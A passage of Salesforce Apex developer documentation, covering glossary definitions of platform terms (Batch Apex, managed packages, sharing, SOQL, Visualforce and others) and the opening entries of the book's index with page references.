A call that does not return results immediately because the operation may take a long time. Calls in the Metadata API and Bulk API
are asynchronous.
B
Batch Apex
The ability to perform long, complex operations on many records at a scheduled time using Apex.
Beta, Managed Package
In the context of managed packages, a beta managed package is an early version of a managed package distributed to a sampling
of your intended audience to test it.
Bulk API
The REST-based Bulk API is optimized for processing large sets of data. It allows you to query, insert, update, upsert, or delete a large
number of records asynchronously by submitting a number of batches which are processed in the background by Salesforce. See
also SOAP API.
C
Callout, Apex
An Apex callout enables you to tightly integrate your Apex with an external service by making a call to an external Web service or
sending a HTTP request from Apex code and then receiving the response.
Child Relationship
A relationship that has been defined on an sObject that references another sObject as the “one” side of a one-to-many relationship.
For example, contacts, opportunities, and tasks have child relationships with accounts.
See also sObject.
Class, Apex
A template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined methods, variables,
exception types, and static initialization code. In most cases, Apex classes are modeled on their counterparts in Java.
Client App
An app that runs outside the Salesforce user interface and uses only the Force.com API or Bulk API. It typically runs on a desktop or
mobile device. These apps treat the platform as a data source, using the development model of whatever tool and platform for
which they are designed.
Code Coverage
A way to identify which lines of code are exercised by a set of unit tests, and which are not. This helps you identify sections of code
that are completely untested and therefore at greatest risk of containing a bug or introducing a regression in the future.
Component, Metadata
A component is an instance of a metadata type in the Metadata API. For example, CustomObject is a metadata type for custom
objects, and the MyCustomObject__c component is an instance of a custom object. A component is described in an XML file
2793
Glossary
and it can be deployed or retrieved using the Metadata API, or tools built on top of it, such as the Force.com IDE or the Force.com
Migration Tool.
Component, Visualforce
Something that can be added to a Visualforce page with a set of tags, for example, <apex:detail>. Visualforce includes a
number of standard components, or you can create your own custom components.
Component Reference, Visualforce
A description of the standard and custom Visualforce components that are available in your organization. You can access the
component library from the development footer of any Visualforce page or the Visualforce Developer's Guide.
Composite App
An app that combines native platform functionality with one or more external Web services, such as Yahoo! Maps. Composite apps
allow for more flexibility and integration with other services, but may require running and managing external code. See also Client
App and Native App.
Controller, Visualforce
An Apex class that provides a Visualforce page with the data and business logic it needs to run. Visualforce pages can use the standard
controllers that come by default with every standard or custom object, or they can use custom controllers.
Controller Extension
A controller extension is an Apex class that extends the functionality of a standard or custom controller.
Cookie
Client-specific data used by some Web applications to store user and session-specific information. Salesforce issues a session “cookie”
only to record encrypted authentication information for the duration of a specific session.
Custom App
See App.
Custom Controller
A custom controller is an Apex class that implements all of the logic for a page without leveraging a standard controller. Use custom
controllers when you want your Visualforce page to run entirely in system mode, which does not enforce the permissions and
field-level security of the current user.
Custom Field
A field that can be added in addition to the standard fields to customize Salesforce for your organization’s needs.
Custom Links
Custom links are URLs defined by administrators to integrate your Salesforce data with external websites and back-office systems.
Formerly known as Web links.
Custom Object
Custom records that allow you to store information unique to your organization.
Custom Settings
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and
associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which
enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation
rules, flows, Apex, and the SOAP API.
See also Hierarchy Custom Settings and List Custom Settings.
2794
Glossary
D
Database
An organized collection of information. The underlying architecture of the Force.com platform includes a database where your data
is stored.
Database Table
A list of information, presented with rows and columns, about the person, thing, or concept you want to track. See also Object.
Data Loader
A Force.com platform tool used to import and export data from your Salesforce organization.
Data Manipulation Language (DML)
An Apex method or operation that inserts, updates, or deletes records.
Data State
The structure of data in an object at a particular point in time.
Date Literal
A keyword in a SOQL or SOSL query that represents a relative range of time such as last month or next year.
Decimal Places
Parameter for number, currency, and percent custom fields that indicates the total number of digits you can enter to the right of a
decimal point, for example, 4.98 for an entry of 2. Note that the system rounds the decimal numbers you enter, if necessary. For
example, if you enter 4.986 in a field with Decimal Places of 2, the number rounds to 4.99. Salesforce uses the round half-up
rounding algorithm. Half-way values are always rounded up. For example, 1.45 is rounded to 1.5. –1.45 is rounded to –1.5.
Dependency
A relationship where one object's existence depends on that of another. There are a number of different kinds of dependencies
including mandatory fields, dependent objects (parent-child), file inclusion (referenced images, for example), and ordering
dependencies (when one object must be deployed before another object).
Dependent Field
Any custom picklist or multi-select picklist field that displays available values based on the value selected in its corresponding
controlling field.
Deploy
To move functionality from an inactive state to active. For example, when developing new features in the Salesforce user interface,
you must select the “Deployed” option to make the functionality visible to other users.
The process by which an application or other functionality is moved from development to production.
To move metadata components from a local file system to a Salesforce organization.
For installed apps, deployment makes any custom objects in the app available to users in your organization. Before a custom object
is deployed, it is only available to administrators and any users with the “Customize Application” permission.
Deprecated Component
A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may involve
redesigning some of the components in the managed package. Developers cannot delete some components in a Managed - Released
package, but they can deprecate a component in a later package version so that new subscribers do not receive the component,
while the component continues to function for existing subscribers and API integrations.
Detail
A page that displays information about a single object record. The detail page of a record allows you to view the information, whereas
the edit page allows you to modify it.
2795
Glossary
A term used in reports to distinguish between summary information and inclusion of all column data for all information in a report.
You can toggle the Show Details/Hide Details button to view and hide report detail information.
Developer Edition
A free, fully-functional Salesforce organization designed for developers to extend, integrate, and develop with the Force.com platform.
Developer Edition accounts are available on developer.salesforce.com.
Salesforce Developers
The Salesforce Developers website at developer.salesforce.com provides a full range of resources for platform developers, including
sample code, toolkits, an online developer community, and the ability to obtain limited Force.com platform environments.
Development Environment
A Salesforce organization where you can make configuration changes that will not affect users on the production organization. There
are two kinds of development environments, sandboxes and Developer Edition organizations.
E
Email Alert
Email alerts are actions that send emails, using a specified email template, to specified recipients.
Email Template
A form email that communicates a standard message, such as a welcome letter to new employees or an acknowledgement that a
customer service request has been received. Email templates can be personalized with merge fields, and can be written in text,
HTML, or custom format.
Enterprise Edition
A Salesforce edition designed for larger, more complex businesses.
Enterprise WSDL
A strongly-typed WSDL for customers who want to build an integration with their Salesforce organization only, or for partners who
are using tools like Tibco or webMethods to build integrations that require strong typecasting. The downside of the Enterprise WSDL
is that it only works with the schema of a single Salesforce organization because it is bound to all of the unique objects and fields
that exist in that organization's data model.
Entity Relationship Diagram (ERD)
A data modeling tool that helps you organize your data into entities (or objects, as they are called in the Force.com platform) and
define the relationships between them. ERD diagrams for key Salesforce objects are published in the SOAP API Developer's Guide.
Enumeration Field
An enumeration is the WSDL equivalent of a picklist field. The valid values of the field are restricted to a strict set of possible values,
all having the same data type.
F
Facet
A child of another Visualforce component that allows you to override an area of the rendered parent with the contents of the facet.
Field
A part of an object that holds a specific piece of information, such as a text or currency value.
Field Dependency
A filter that allows you to change the contents of a picklist based on the value of another field.
2796
Glossary
Field-Level Security
Settings that determine whether fields are hidden, visible, read only, or editable for users. Available in Professional, Enterprise,
Unlimited, Performance, and Developer Editions.
Force.com
The Salesforce platform for building applications in the cloud. Force.com combines a powerful user interface, operating system, and
database to allow you to customize and deploy applications in the cloud for your entire enterprise.
Force.com IDE
An Eclipse plug-in that allows developers to manage, author, debug and deploy Force.com applications in the Eclipse development
environment.
Force.com Migration Tool
A toolkit that allows you to write an Apache Ant build script for migrating Force.com components between a local file system and
a Salesforce organization.
Foreign Key
A field whose value is the same as the primary key of another table. You can think of a foreign key as a copy of a primary key from
another table. A relationship is made between two tables by matching the values of the foreign key in one table with the values of
the primary key in another.
G
Getter Methods
Methods that enable developers to display database and other computed values in page markup.
Methods that return values. See also Setter Methods.
Global Variable
A special merge field that you can use to reference data in your organization.
A method access modifier for any method that needs to be referenced outside of the application, either in the SOAP API or by other
Apex code.
Governor Limits
Apex execution limits that prevent developers who write inefficient code from monopolizing the resources of other Salesforce users.
Gregorian Year
A calendar based on a 12-month structure used throughout much of the world.
H
Hierarchy Custom Settings
A type of custom setting that uses a built-in hierarchical logic that lets you “personalize” settings for specific profiles or users. The
hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or “lowest,” value.
In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings.
HTTP Debugger
An application that can be used to identify and inspect SOAP requests that are sent from the AJAX Toolkit. They behave as proxy
servers running on your local machine and allow you to inspect and author individual requests.
2797
Glossary
I
ID
See Salesforce Record ID.
IdeaExchange
A forum where Salesforce customers can suggest new product concepts, promote favorite enhancements, interact with product
managers and other customers, and preview what Salesforce is planning to deliver in future releases. Visit IdeaExchange at
ideas.salesforce.com.
Import Wizard
A tool for importing data into your Salesforce organization, accessible from Setup.
Instance
The cluster of software and hardware represented as a single logical server that hosts an organization's data and runs their applications.
The Force.com platform runs on multiple instances, but data for any single organization is always stored on a single instance.
Integrated Development Environment (IDE)
A software application that provides comprehensive facilities for software developers including a source code editor, testing and
debugging tools, and integration with source code control systems.
Integration User
A Salesforce user defined solely for client apps or integrations. Also referred to as the logged-in user in a SOAP API context.
ISO Code
The International Organization for Standardization country code, which represents each country by two letters.
J
Junction Object
A custom object with two master-detail relationships. Using a custom junction object, you can model a “many-to-many” relationship
between two objects. For example, you may have a custom object called “Bug” that relates to the standard case object such that a
bug could be related to multiple cases and a case could also be related to multiple bugs.
L
Length
Parameter for custom text fields that specifies the maximum number of characters (up to 255) that a user can enter in the field.
Parameter for number, currency, and percent fields that specifies the number of digits you can enter to the left of the decimal point,
for example, 123.98 for an entry of 3.
Salesforce Connect
Salesforce Connect provides access to data that’s stored outside the Salesforce org, such as data in an enterprise resource planning
(ERP) system and records in another org. Salesforce Connect represents the data in external objects and accesses the external data
in real time via Web service callouts to external data sources.
List Custom Settings
A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular
set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings
does not vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations,
international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you
don't have to use SOQL queries that count against your governor limits.
2798
Glossary
List View
A list display of items (for example, accounts or contacts) based on specific criteria. Salesforce provides some predefined views.
In the Agent console, the list view is the top frame that displays a list view of records based on specific criteria. The list views you
can select to display in the console are the same list views defined on the tabs of other objects. You cannot create a list view within
the console.
Local Name
The value stored for the field in the user’s or account’s language. The local name for a field is associated with the standard name for
that field.
Locale
The country or geographic region in which the user is located. The setting affects the format of date and number fields, for example,
dates in the English (United States) locale display as 06/30/2000 and as 30/06/2000 in the English (United Kingdom) locale.
In Professional, Enterprise, Unlimited, Performance, and Developer Edition organizations, a user’s individual Locale setting overrides
the organization’s Default Locale setting. In Personal and Group Editions, the organization-level locale field is called Locale,
not Default Locale.
Long Text Area
Data type of custom field that allows entry of up to 32,000 characters on separate lines.
Lookup Relationship
A relationship between two records so you can associate records with each other. For example, cases have a lookup relationship
with assets that lets you associate a particular asset with a case. On one side of the relationship, a lookup field allows users to click
a lookup icon and select another record from a popup window. On the associated record, you can then display a related list to show
all of the records that have been linked to it. If a lookup field references a record that has been deleted, by default Salesforce clears
the lookup field. Alternatively, you can prevent records from being deleted if they’re in a lookup relationship.
M
Managed Package
A collection of application components that is posted as a unit on the AppExchange and associated with a namespace and possibly
a License Management Organization. To support upgrades, a package must be managed. An organization can create a single
managed package that can be downloaded and installed by many different organizations. Managed packages differ from unmanaged
packages by having some locked components, allowing the managed package to be upgraded later. Unmanaged packages do not
include locked components and cannot be upgraded. In addition, managed packages obfuscate certain components (like Apex) on
subscribing organizations to protect the intellectual property of the developer.
Manual Sharing
Record-level access rules that allow record owners to give read and edit permissions to other users who might not have access to
the record any other way.
Many-to-Many Relationship
A relationship where each side of the relationship can have many children on the other side. Many-to-many relationships are
implemented through the use of junction objects.
Master-Detail Relationship
A relationship between two different types of records that associates the records with each other. For example, accounts have a
master-detail relationship with opportunities. This type of relationship affects record deletion, security, and makes the lookup
relationship field required on the page layout.
Metadata
Information about the structure, appearance, and functionality of an organization and any of its parts. Force.com uses XML to describe
metadata.
2799
Glossary
Metadata-Driven Development
An app development model that allows apps to be defined as declarative “blueprints,” with no code required. Apps built on the
platform—their data models, objects, forms, workflows, and more—are defined by metadata.
Metadata WSDL
A WSDL for users who want to use the Force.com Metadata API calls.
Multitenancy
An application model where all users and apps share a single, common infrastructure and code base.
MVC (Model-View-Controller)
A design paradigm that deconstructs applications into components that represent data (the model), ways of displaying that data
in a user interface (the view), and ways of manipulating that data with business logic (the controller).
N
Namespace
In a packaging context, a one- to 15-character alphanumeric identifier that distinguishes your package and its contents from packages
of other developers onAppExchange, similar to a domain name. Salesforce automatically prepends your namespace prefix, followed
by two underscores (“__”), to all unique component names in your Salesforce organization.
Native App
An app that is built exclusively with setup (metadata) configuration on Force.com. Native apps do not require any external services
or infrastructure.
O
Object
An object allows you to store information in your Salesforce organization. The object is the overall definition of the type of information
you are storing. For example, the case object allow you to store information regarding customer inquiries. For each object, your
organization will have multiple records that store the information about specific instances of that type of data. For example, you
might have a case record to store the information about Joe Smith's training inquiry and another case record to store the information
about Mary Johnson's configuration issue.
Object-Level Help
Custom help text that you can provide for any custom object. It displays on custom object record home (overview), detail, and edit
pages, as well as list views and related lists.
Object-Level Security
Settings that allow an administrator to hide whole objects from users so that they don't know that type of data exists. Object-level
security is specified with object permissions.
One-to-Many Relationship
A relationship in which a single object is related to many other objects. For example, an account may have one or more related
contacts.
Organization
A deployment of Salesforce with a defined set of licensed users. An organization is the virtual space provided to an individual customer
of Salesforce. Your organization includes all of your data and applications, and is separate from all other organizations.
2800
Glossary
Organization-Wide Defaults
Settings that allow you to specify the baseline level of data access that a user has in your organization. For example, you can set
organization-wide defaults so that any user can see any record of a particular object that is enabled via their object permissions, but
they need extra permissions to edit one.
Outbound Call
Any call that originates from a user to a number outside of a call center in Salesforce CRM Call Center.
Outbound Message
An outbound message sends information to a designated endpoint, like an external service. Outbound messages are configured
from Setup. You must configure the external endpoint and create a listener for the messages using the SOAP API.
Owner
Individual user to which a record (for example, a contact or case) is assigned.
P
PaaS
See Platform as a Service.
Package
A group of Force.com components and applications that are made available to other organizations through the AppExchange. You
use packages to bundle an app along with any related components so that you can upload them to AppExchange together.
Package Dependency
This is created when one component references another component, permission, or preference that is required for the component
to be valid. Components can include but are not limited to:
•Standard or custom fields
•Standard or custom objects
•Visualforce pages
•Apex code
Permissions and preferences can include but are not limited to:
•Divisions
•Multicurrency
•Record types
Package Installation
Installation incorporates the contents of a package into your Salesforce organization. A package on the AppExchange can include
an app, a component, or a combination of the two. After you install a package, you may need to deploy components in the package
to make it generally available to the users in your organization.
Package Version
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen
value during every major release. The patchNumber is generated and updated only for a patch release.
Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A package version
has more significance for managed packages. Packages can exhibit different behavior for different versions. Publishers can use
package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without
breaking existing customer integrations using the package. See also Patch and Patch Development Organization.
2801
Glossary
Partner WSDL
A loosely-typed WSDL for customers, partners, and ISVs who want to build an integration or an AppExchange app that can work
across multiple Salesforce organizations. With this WSDL, the developer is responsible for marshaling data in the correct object
representation, which typically involves editing the XML. However, the developer is also freed from being dependent on any particular
data model or Salesforce organization. Contrast this with the Enterprise WSDL, which is strongly typed.
Patch
A patch enables a developer to change the functionality of existing components in a managed package, while ensuring subscribing
organizations that there are no visible behavior changes to the package. For example, you can add new variables or change the
body of an Apex class, but you may not add, deprecate, or remove any of its methods. Patches are tracked by a patchNumber
appended to every package version. See also Patch Development Organization and Package Version.
Patch Development Organization
The organization where patch versions are developed, maintained, and uploaded. Patch development organizations are created
automatically for a developer organization when they request to create a patch. See also Patch and Package Version.
Personal Edition
Product designed for individual sales representatives and single users.
Platform as a Service (PaaS)
An environment where developers use programming tools offered by a service provider to create applications and deploy them in
a cloud. The application is hosted as a service and provided to customers via the Internet. The PaaS vendor provides an API for
creating and extending specialized applications. The PaaS vendor also takes responsibility for the daily maintenance, operation, and
support of the deployed application and each customer's data. The service alleviates the need for programmers to install, configure,
and maintain the applications on their own hardware, software, and related IT resources. Services can be delivered using the PaaS
environment to any market segment.
Platform Edition
A Salesforce edition based on Enterprise, Unlimited, or Performance Edition that does not include any of the standard Salesforce
apps, such as Sales or Service & Support.
Primary Key
A relational database concept. Each table in a relational database has a field in which the data value uniquely identifies the record.
This field is called the primary key. The relationship is made between two tables by matching the values of the foreign key in one
table with the values of the primary key in another.
Production Organization
A Salesforce organization that has live users accessing data.
Professional Edition
A Salesforce edition designed for businesses who need full-featured CRM functionality.
Prototype
The classes, methods and variables that are available to other Apex code.
Q
Query Locator
A parameter returned from the query() or queryMore() API call that specifies the index of the last result record that was
returned.
Query String Parameter
A name-value pair that's included in a URL, typically after a '?' character. For example:
https://yourInstance.salesforce.com/001/e?name=value
2802
Glossary
R
Record
A single instance of a Salesforce object. For example, “John Jones” might be the name of a contact record.
Record ID
The unique identifier for each record.
Record-Level Security
A method of controlling data in which you can allow a particular user to view and edit an object, but then restrict the records that
the user is allowed to see.
Record Locking
Record locking prevents users from editing a record, regardless of field-level security or sharing settings. By default, Salesforce locks
records that are pending approval. Only admins can edit locked records.
Record Name
A standard field on all Salesforce objects. Whenever a record name is displayed in a Force.com application, the value is represented
as a link to a detail view of the record. A record name can be either free-form text or an autonumber field. Record Name does
not have to be a unique value.
Recycle Bin
A page that lets you view and restore deleted information. Access the Recycle Bin by using the link in the sidebar.
Relationship
A connection between two objects, used to create related lists in page layouts and detail levels in reports. Matching values in a
specified field in both objects are used to link related data; for example, if one object stores data about companies and another
object stores data about people, a relationship allows you to find out which people work at the company.
Relationship Query
In a SOQL context, a query that traverses the relationships between objects to identify and return results. Parent-to-child and
child-to-parent syntax differs in SOQL queries.
Role Hierarchy
A record-level security setting that defines different levels of users such that users at higher levels can view and edit information
owned by or shared with users beneath them in the role hierarchy, regardless of the organization-wide sharing model settings.
Roll-Up Summary Field
A field type that automatically provides aggregate values from child records in a master-detail relationship.
Running User
Each dashboard has a running user, whose security settings determine which data to display in a dashboard. If the running user is a
specific user, all dashboard viewers see data based on the security settings of that user—regardless of their own personal security
settings. For dynamic dashboards, you can set the running user to be the logged-in user, so that each user sees the dashboard
according to his or her own access level.
S
SaaS
See Software as a Service (SaaS).
2803
Glossary
S-Control
Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created
s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can
still be edited.
Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display in a browser,
for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.
Salesforce Certificate and Key Pair
Salesforce certificates and key pairs are used for signatures that verify a request is coming from your organization. They are used for
authenticated SSL communications with an external web site, or when using your organization as an Identity Provider. You only
need to generate a Salesforce certificate and key pair if you're working with an external website that wants verification that a request
is coming from a Salesforce organization.
Salesforce Record ID
A unique 15- or 18-character alphanumeric string that identifies a single record in Salesforce.
Salesforce SOA (Service-Oriented Architecture)
A powerful capability of Force.com that allows you to make calls to external Web services from within Apex.
Sandbox
A nearly identical copy of a Salesforce production organization for development, testing, and training. The content and size of a
sandbox varies depending on the type of sandbox and the editioin of the production organization associated with the sandbox.
Semi-Join
A semi-join is a subquery on another object in an IN clause in a SOQL query. You can use semi-joins to create advanced queries,
such as getting all contacts for accounts that have an opportunity with a particular record type. See also Anti-Join.
Session ID
An authentication token that is returned when a user successfully logs in to Salesforce. The Session ID prevents a user from having
to log in again every time he or she wants to perform another action in Salesforce. Different from a record ID or Salesforce ID, which
are terms for the unique ID of a Salesforce record.
Session Timeout
The period of time after login before a user is automatically logged out. Sessions expire automatically after a predetermined length
of inactivity, which can be configured in Salesforce from Setup by clicking Security Controls. The default is 120 minutes (two hours).
The inactivity timer is reset to zero if a user takes an action in the Web interface or makes an API call.
Setter Methods
Methods that assign values. See also Getter Methods.
Setup
A menu where administrators can customize and define organization settings and Force.com apps. Depending on your organization’s
user interface settings, Setup may be a link in the user interface header or in the drop-down list under your name.
Sharing
Allowing other users to view or edit information you own. There are different ways to share data:
•Sharing Model—defines the default organization-wide access levels that users have to each other’s information and whether
to use the hierarchies when determining access to data.
•Role Hierarchy—defines different levels of users such that users at higher levels can view and edit information owned by or
shared with users beneath them in the role hierarchy, regardless of the organization-wide sharing model settings.
•Sharing Rules—allow an administrator to specify that all information created by users within a given group or role is automatically
shared to the members of another group or role.
•Manual Sharing—allows individual users to share records with other users or groups.
2804
Glossary
•Apex-Managed Sharing—enables developers to programmatically manipulate sharing to support their application’s behavior.
See Apex-Managed Sharing.
Sharing Model
Behavior defined by your administrator that determines default access by users to different types of records.
Sharing Rule
Type of default sharing created by administrators. Allows users in a specified group or role to have access to all information created
by users within a given group or role.
Sites
Force.com Sites enables you to create public websites and applications that are directly integrated with your Salesforce
organization—without requiring users to log in with a username and password.
SOAP (Simple Object Access Protocol)
A protocol that defines a uniform way of passing XML-encoded data.
SOAP API
A SOAP-based Web services application programming interface that provides access to your Salesforce organization's information.
sObject
The abstract or parent object for all objects that can be stored in the Force.com platform.
Software as a Service (SaaS)
A delivery model where a software application is hosted as a service and provided to customers via the Internet. The SaaS vendor
takes responsibility for the daily maintenance, operation, and support of the application and each customer's data. The service
alleviates the need for customers to install, configure, and maintain applications with their own hardware, software, and related IT
resources. Services can be delivered using the SaaS model to any market segment.
SOQL (Salesforce Object Query Language)
A query language that allows you to construct simple but powerful query strings and to specify the criteria that should be used to
select data from the Force.com database.
SOSL (Salesforce Object Search Language)
A query language that allows you to perform text-based searches using the Force.com API.
Standard Object
A built-in object included with the Force.com platform. You can also build custom objects to store information that is unique to
your app.
System Log
Part of the Developer Console, a separate window console that can be used for debugging code snippets. Enter the code you want
to test at the bottom of the window and click Execute. The body of the System Log displays system resource information, such as
how long a line took to execute or how many database calls were made. If the code did not run to completion, the console also
displays debugging information.
T
Tag
In Salesforce, a word or short phrases that users can associate with most records to describe and organize their data in a personalized
way. Administrators can enable tags for accounts, activities, assets, campaigns, cases, contacts, contracts, dashboards, documents,
events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship group members) Tags can
also be accessed through the SOAP API.
2805
Glossary
Test Case Coverage
Test cases are the expected real-world scenarios in which your code will be used. Test cases are not actual unit tests, but are documents
that specify what your unit tests should do. High test case coverage means that most or all of the real-world scenarios you have
identified are implemented as unit tests. See also Code Coverage and Unit Test.
Test Method
An Apex class method that verifies whether a particular piece of code is working properly. Test methods take no arguments, commit
no data to the database, and can be executed by the runTests() system method either through the command line or in an
Apex IDE, such as the Force.com IDE.
Test Organization
See Sandbox.
Transaction, Apex
An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction either
complete successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed to the
database. The boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a
custom Web service method.
Trigger
A piece of Apex that executes before or after records of a particular type are inserted, updated, or deleted from the database. Every
trigger runs with a set of context variables that provide access to the records that caused the trigger to fire, and all triggers run in
bulk mode—that is, they process several records at once, rather than just one record at a time.
Trigger Context Variable
Default variables that provide access to information about the trigger and the records that caused it to fire.
U
Unit Test
A unit is the smallest testable part of an application, usually a method. A unit test operates on that piece of code to make sure it
works correctly. See also Test Method.
Unlimited Edition
Unlimited Edition is Salesforce’s solution for maximizing your success and extending that success across the entire enterprise through
the Force.com platform.
Unmanaged Package
A package that cannot be upgraded or controlled by its developer.
URL (Uniform Resource Locator)
The global address of a website, document, or other resource on the Internet. For example, http://www.salesforce.com.
User Acceptance Testing (UAT)
A process used to confirm that the functionality meets the planned requirements. UAT is one of the final stages before deployment
to production.
V
Validation Rule
A rule that prevents a record from being saved if it does not meet the standards that are specified.
2806
Glossary
Version
A number value that indicates the release of an item. Items that can have a version include API objects, fields and calls; Apex classes
and triggers; and Visualforce pages and components.
View
The user interface in the Model-View-Controller model, defined by Visualforce.
View State
Where the information necessary to maintain the state of the database between requests is saved.
Visualforce
A simple, tag-based markup language that allows developers to easily define custom pages and components for apps built on the
platform. Each tag corresponds to a coarse or fine-grained component, such as a section of a page, a related list, or a field. The
components can either be controlled by the same logic that is used in standard Salesforce pages, or developers can associate their
own logic with a controller written in Apex.
Visualforce Controller
See Controller, Visualforce.
Visualforce Lifecycle
The stages of execution of a Visualforce page, including how the page is created and destroyed during the course of a user session.
Visualforce Page
A web page created using Visualforce. Typically, Visualforce pages present information relevant to your organization, but they can
also modify or capture data. They can be rendered in several ways, such as a PDF document or an email attachment, and can be
associated with a CSS style.
W
Web Service
A mechanism by which two applications can easily exchange data over the Internet, even if they run on different platforms, are
written in different languages, or are geographically remote from each other.
WebService Method
An Apex class method or variable that can be used by external systems, like a mash-up with a third-party application. Web service
methods must be defined in a global class.
Web Services API
A Web services application programming interface that provides access to your Salesforce organization's information. See also SOAP
API and Bulk API.
Automated Actions
Automated actions, such as email alerts, tasks, field updates, and outbound messages, can be triggered by a process, workflow rule,
approval process, or milestone.
Wrapper Class
A class that abstracts common functions such as logging in, managing sessions, and querying and batching records. A wrapper class
makes an integration more straightforward to develop and maintain, keeps program logic in one place, and affords easy reuse across
components. Examples of wrapper classes in Salesforce include theAJAX Toolkit, which is a JavaScript wrapper around the Salesforce
SOAP API, wrapper classes such as CCritical Section in the CTI Adapter for Salesforce CRM Call Center, or wrapper classes
created as part of a client integration application that accesses Salesforce using the SOAP API.
WSDL (Web Services Description Language) File
An XML file that describes the format of messages you send and receive from a Web service. Your development environment's SOAP
client uses the Salesforce Enterprise WSDL or Partner WSDL to communicate with Salesforce using the SOAP API.
2807
Glossary
X
XML (Extensible Markup Language)
A markup language that enables the sharing and transportation of structured data. All Force.com components that are retrieved or
deployed through the Metadata API are represented by XML definitions.
Y
No Glossary items for this entry.
Z
No Glossary items for this entry.
2808
Glossary
INDEX
A
Abstract definition modifier 56
Access modifiers 61
Action
Chatter 286
create 286
QuickAction.QuickAction 2448
Action class
instantiation 611
Action link group templates
deleting 344
editing 343
packaging 345
Action Link Group Templates
design 332
Action link templates
creating 340
Action Links
authentication 325
define example 303
define in template example 306
labels 2784
overview 325
post example 303
post from template example 306
security 325
templates 332
use cases 329
versioning 325
working with 323
Adapters, Salesforce Connect 385
addError(), triggers 226
After triggers 210
Aggregate functions 148
AJAX support 270
ALL ROWS keyword 155
Anchoring bounds 518
Annotations
@testSetup 568
AuraEnabled 82
deprecated 82
future 83
HttpDelete 95
HttpGet 95
HttpPatch 95
Annotations (continued)
HttpPost 95
HttpPut 95
Invocablemethod 84
Invocablevariable 85
isTest 88
isTest(SeeAllData=true) 564
ReadOnly 91
RemoteAction 92
RestResource 94
testSetup 92
TestVisible 93
understanding 81
Anonymous blocks
transaction control 135
understanding 209
Ant tool 592
AnyType data type 27
Apex
asynchronous 227
designing 226
flow data type conversions 448
from WSDL 466, 469
how it works 4
introducing 1
invoking 208
learning 14
managed sharing 186
overview 2
testing 556–557, 563, 565, 567, 586
when to use 3
Apex Connector Framework
aggregation 399
authentication 395
callouts 396
considerations 403
example, Google Books 409
example, Google Drive 404
example, loopback 415
examples 403
External ID field, external object 395
filters 400
filters, compound 401
filters, evaluating 401
getting started 387
key concepts 394
2809
Apex Connector Framework (continued)
named credentials 396
OAuth 396
paging 397
queryMore 398
queryMore, client-driven paging 399
queryMore, server-driven paging 398
sample DataSource.Connection class 388
sample DataSource.Provider class 392
setting up 394
Apex Jobs
Using the Queueable Interface 232
Apex REST API methods
exposing data 263
Apex Tools 456
ApexPages
namespace 610
ApexPages.Action
class 611
ApexPages.IdeaStandardController class
understanding 615
ApexPages.IdeaStandardSetController
class 617
ApexPages.KnowledgeArticleVersionStandardController
class 620
ApexPages.Message
class 624
ApexPages.StandardController
class 628
ApexPages.StandardSetController
class 633
prototype object 633
ApexTestQueueItem object 2743
ApexTestResult object 2745
ApexTestResultLimits object 2748
ApexTestRunResult object 2751
API calls, Web services
available for Apex 2743
compileAndTest 592, 597, 2754
compileClasses 597, 2758
compileTriggers 597, 2759
custom 254
executeanonymous 2760
executeAnonymous 209
retrieveCode 595
runTests 571, 2761
transaction control 135
when to use 3
API objects, Web services
ApexTestQueueItem 572
ApexTestResult 572
AppExchange
creating packages 2301, 2661
managed package versions 599
AppLauncher
namespace 642
AppLauncher.AppMenu
classes 642
Approval
namespace 644
Approval processes
approval methods 2116
example 287
overview 286
ProcessRequest class 647
ProcessResult class 649
ProcessSubmitRequest class 651
ProcessWorkitemRequest class 655
Approval.LockResult
classes 645
Approval.ProcessRequest
class 647
Approval.ProcessResult
class 649
Approval.ProcessSubmitRequest
class 651
Approval.ProcessWorkitemRequest
class 655
Approval.UnlockResult
classes 657
Arrays and lists 31
Assignment statements 46
Async Apex
Using the Queueable Interface 232
Asynchronous Apex
overview 227
Asynchronous callouts 228
asynchronous operations 359
AuraEnabled annotation 82
Auth
namespace 659
Auth.AuthProviderCallbackState
classes 668
Auth.AuthProviderPlugin
interfaces 670
Auth.AuthProviderPluginClass
classes 674
2810
Index
Auth.AuthProviderTokenResponse
classes 683
Auth.AuthToken
class 686
Auth.AuthTokenConfiguration
class 661
Auth.CommunitiesUtil
class 690
Auth.ConnectedAppPlugin
classes 692
Auth.InvocationContext enum 698
Auth.JWS
classes 699
Auth.JWT
classes 702
Auth.JWTBearerTokenExchange
classes 707
Auth.OAuthRefreshResult
classes 712
Auth.RegistrationHandler
classes 719
interface 715
Auth.RegistrationHandler interface
createUser method 715
updateUser method 715
Auth.SamlJitHandler
interface 720
Auth.SessionLevel
enum 732
Auth.UserData
class 733
Auth.VerificationPolicy enum 738
Authentication
Custom Authentication Provider 288
B
Batch Apex
database object 1685
interfaces 241
schedule 234
using 241
Batch size, SOQL query for loop 155
Before triggers 210
Best practices
Apex 226
Apex scheduler 240
batch Apex 253
code coverage 585
programming 226
Best practices (continued)
SOQL queries 151
testing 576
triggers 226
WebService keywords 255
Binds 153
Blob
data type 27
primitive data type 2128
Boolean
data type 27
primitive data type 2130
Bounds, using with regular expressions 518
Bulk processing and triggers
